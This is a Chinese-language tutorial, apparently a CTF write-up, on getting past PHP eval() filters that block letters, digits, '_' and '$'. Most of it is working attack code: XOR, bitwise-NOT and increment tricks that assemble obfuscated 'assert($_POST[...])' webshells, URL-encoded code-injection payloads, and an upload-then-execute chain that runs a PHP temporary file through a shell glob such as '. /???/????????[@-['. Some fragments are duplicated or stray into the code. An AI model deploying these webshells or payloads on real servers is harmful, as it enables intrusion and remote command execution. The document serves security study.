目录
(二)精准匹配到正确的php临时文件名第二个难题接踵而至,执行./tmp/phpxxxXXxx,也是有字母的。此时就可以用到Linux下的glob通配符:
一、异或
当$ 和 _ 没有被限制时
1、异或的前置知识
A的ascll码为65 二进制为0100 0001
` 的ascll码为96 二进制为0110 0000
A和 ` 取异或 即相同位 置0 ,不同位置 1
然后A 和 ` 得到的二进制码为 0010 0001 ,ascll码为33 ,ascll码表对应符号为!
2、进阶版异或
代码:
<?php
function B(){
echo "at the function";
}
$__="?" ^ "}";
echo "\$__值为:$__";
$__();
?>
?:0011 1111
} :0111 1101
0100 0010 -----66
所以异或的结果为B,将值赋值给了$__;
3、异或构建一句话木马
<?php
$_++; //$_=1
$__=("#" ^ "|"); // _
$__.=("." ^ "~"); //_P // .为拼接字符
$__.=("/" ^ "`"); //_PO
$__.=("|" ^ "/"); //_POS
$__.=("{" ^ "/"); //_POST
${$__}[!$_](${$__}[$_]); //$_POST[0]($_POST[1]);
?>
浏览器访问:
使用蚁剑连接这个一句话木马;
4、利用异或绕过正则:
绕过限制的代码:
<?php
echo $_="`{{{" ^ "?<>/"; ///_GET
?>
?code=$_="`{{{" ^ "?<>/";${$_}[_]();&_=getFlag //后面不能加;
补充知识:当下划线被过滤的时候
过滤下划线:
qf_zz_xhx.php
<?php
include "flag.php";
if(isset($_GET['code'])){
$code=$_GET['code'];
// if(strlen($code)>35){
// die("Long.");
// }
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
}
?>
将限制长度这里注释掉,因为汉字占用字节数较大。
下划线被过滤的时候可以使用汉字来代替
?code=$啊="`{{{" ^ "?<>/";${$啊}[啊]();&啊=getFlag
为什么可以用汉字来做变量名呢,这里有一个问题,过滤了字母、数字和下划线之后怎么起变量名?忽然想到ava可以用汉字作为变量名(因为Java采用的是Unicode字符集,所以用中文作为变量名不会出错),那PHP说不定也可以,于是在本地试了一下发现居然没报错。
二、取反
需要绕过的正则环境:
<?php
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
}
?>
1、函数名取反绕过正则
代码:
qf.php
<?php
$a = "phpinfo";
echo urlencode(~$a);
?>
先将需要取反的值赋值给一个变量,"~"为取反
然后将取反的变量传入urlencode函数进行url编码
phpinfo 取反的值为: %8F%97%8F%96%91%99%90
传入地址栏的代码如下:
?code=$_=~%8F%97%8F%96%91%99%90;$_()
2、字符取反拼接写webshell
代码:
qf.php
<?php
$a = "和";
echo ~$a;
?>
其中 下标0为 特殊符号 下标1为 m 下标2为 s;
根据这种方式我们写出了如下代码:
qf_code3.php
<?php
$__=('>'>'<')+('>'>'<'); // $__=2
$_=$__/$__; // $_=1
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
// echo $____; //$____=assert
$_____='_';
$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
//echo $_____; //$_____=_POST
$_=$$_____;
$____($_[$__]); // assert($_POST[2])
?>
执行代码:
三、自增
1、自增的原理
在处理字符变量的算数运算时,PHP沿袭了Perl的习惯,而非C的。例如,在Perl中 $a = 'Z';$a++;将把$a变成'AA',而在C中,a = 'Z'; a++;将把a变成 '[' (Z'的ASCIl值是90,'[' 的ASCll值是91)。注意字符变量只能递增,不能递减,并且只支持纯字母(a-z和A-Z)。递增/递减其他字符变量则无效,原字符串没有变化。也就是说,'a'++=> 'b',‘b'++ => 'c'..所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。
也就是说,'a'++ => 'b' , 'b'++=> 'c...所以,我们只要能羹到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。
那么,如何拿到一个值为字符串'a'的变量呢?
巧了,数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。
2、自增的使用方法
在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array:
代码:
zz.php
<?php
$_=[];
$__="$_";
echo $__; //Array
$___=$__["!"=="@"];
echo $___; //A
?>
第一个echo取到值Array
第二个echo取到值 A
3、使用自增编写webshell
(一)代码解读
利用这个技巧,我编写了如下webshell(因为PHP函数是大小写不敏感的,所以我们最终执行的是ASSERT($POST[]),无需获取小写a) :
<?php
$_=[];
$__="$_";
// echo $__; //Array
$_=$__["!"=="@"];
// echo $_; //A
$____=$_; // A
// 1A 2B 3C 4D 5E 6F 7G 8H 9I 10J 11K 12L 13M 14N 15O 16P 17Q 18R 19S
//将A进行18次++操作之后就可以拿到S
$___=$_; //将A 赋值给$___;
$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;
// echo $___; // $___=S
$____.=$___; // . 意为拼接,就是将后面$___的值拼接到$____上;
echo $____;
?>
通过进行18次$___++;成功的将A变为了S;
通过同样的方式将完整的内容编写出来
(二)完整代码
代码如下:
<?php
$_=[];
$__="$_";
// echo $__; //Array
$_=$__["!"=="@"];
// echo $_; //A
$____=$_; // A
// 1A 2B 3C 4D 5E 6F 7G 8H 9I 10J 11K 12L 13M 14N 15O 16P 17Q 18R 19S 20T 21U 22V 23W 24X 25Y 26Z
//将A进行18次++操作之后就可以拿到S
$___=$_; //将A 赋值给$___;
$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;
// echo $___; // $___=S
$____.=$___; // AS . 意为拼接,就是将后面$___的值拼接到$____上;
$___=$_;
$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;
$____.=$___; //ASS
$___=$_;
$___++;$___++;$___++;$___++;
$____.=$___; //ASSE
$___=$_;
$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;
$____.=$___; //ASSER
$___=$_;
$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;
$____.=$___; //ASSERT
// echo $____; // ASSERT
//获取了ASSERT之后,需要获得_POST;
1,5 Top
$_____='_';
$___=$_;
$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;
$_____.=$___; //_P
$___=$_;
$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;
$_____.=$___; //_PO
$___=$_;
$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;
$_____.=$___; //_POS
$___=$_;
$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;
$_____.=$___; //_POST
// echo $_____; // _POST
$____(${$_____}[_]) //ASSERT($_POST[_])
?>
四、临时文件
当$和_都被过滤掉的时候。文件想绕过就比较难了
代码:
<?php
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
}
?>
1、php7绕过
PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过('phpinfo')();来执行函数,第一个括号中可以是任意PHP表达式。
所以很简单了,构造一个可以生成phpinfo这个字符串的PHP表达式即可。payload如下(不可见字符用url编码表示)∶
直接给出payload:
(~%8F%97%8F%96%91%99%90)();
由于我的php版本为php5 ,所以暂不实验。
2、php5+shell打破禁锢
php5想要绕过就需要用到临时文件的方式
在php上传文件的时候会在tmp目录下生成一个临时文件
(一) . file 执行文件
此时我想到了两个有趣的Linux shell知识点:
1.shell下可以利用.来执行任意脚本
2.Linux文件名支持用glob通配符代替
第一点. 或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则.file的意思就是用bash执行file文件中的命令。
用. file执行文件,是不需要file有x权限的。那么,如果目标服务器上有一个我们可控的文件,那不就可以利用.来执行它了吗?
这个文件也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXxxxxx,文件名最后6个字符是随机的大小写字母。
(二)精准匹配到正确的php临时文件名
第二个难题接踵而至,执行./tmp/phpxxxXXxx,也是有字母的。此时就可以用到Linux下的glob通配符:
*可以代替0个及以上任意字符
?可以代表1个任意字符
那么,/tmp/phpxxxxxx就可以表示为/*/?????????或/???/?????????。
/???/????????? 执行的是全盘匹配;
但是运行的时候出现了问题
1、匹配到二进制文件
2、通过添加glob分隔符
发现这种方法可行
最后通过php临时文件的特性来匹配(临时文件后六位是随机大小写)
我们来赌php文件最后一个字母是大写
. /???/????????[@-[]
这样就可以匹配到那个php的临时文件并执行了
3、环境搭建
如果想要生成临时文件,就需要有数据上传,先编写前端的代码:
这是一个上传文件的代码,将文件上传到web1.php中
web.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
</head>
<body>
<form action="web1.php" method="post" enctype="multipart/form-data">
<input type="file" name="upload_file" id="">
<input type="submit" value="submit">
</form>
</body>
</html>
web1.php
<?php
var_dump($_FILES);
?>
这是打印上传的文件位置;
在上传文件的时候会生成php的临时文件
4、编写前端上传文件
1.txt
利用burpsuite抓包,获得上传文件的信息。
将其中文件内容部分信息截取下来:
header头内容:
Content-Type: multipart/form-data; boundary=---------------------------96421351337213956732351952790
-----------------------------96421351337213956732351952790
Content-Disposition: form-data; name="upload_file"; filename="1.txt"
Content-Type: text/plain#!/bin/bash
whoami
-----------------------------96421351337213956732351952790--
5、为php文件添内容
这是需要绕过的进行命令执行的php文件
tmp.php
<?php
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
}
?>
利用burpsuite抓包
这是抓到的包内容
将之前抓到的前端上传的信息添加到这个包里面,然后将请求改为POST
可能有人会问GET能改POST吗,改为POST不影响文件的执行,tmp.php文件还是会将包内容里面的code后面的内容执行。
改为POST的目的是为了生成一个临时文件,POST的命令tmp.php包不会执行,但是POST的内容会在/tmp下生成一个临时文件。
我们的目的就是为了执行这个临时文件
执行这个临时文件的方法就是之前使用 . file +glob通配符
我们将传入的code内容改为执行临时文件的命令
以下便是拼接出来的代码:
6、绕过eval的执行规则
将之前修改的包发过去显示错误:
第一个问题 -------- 没有进行url编码
? ---- %3f @ ---- %40 [ ---%5b
第二个问题 ------- 空格没编码
空格编码用"+"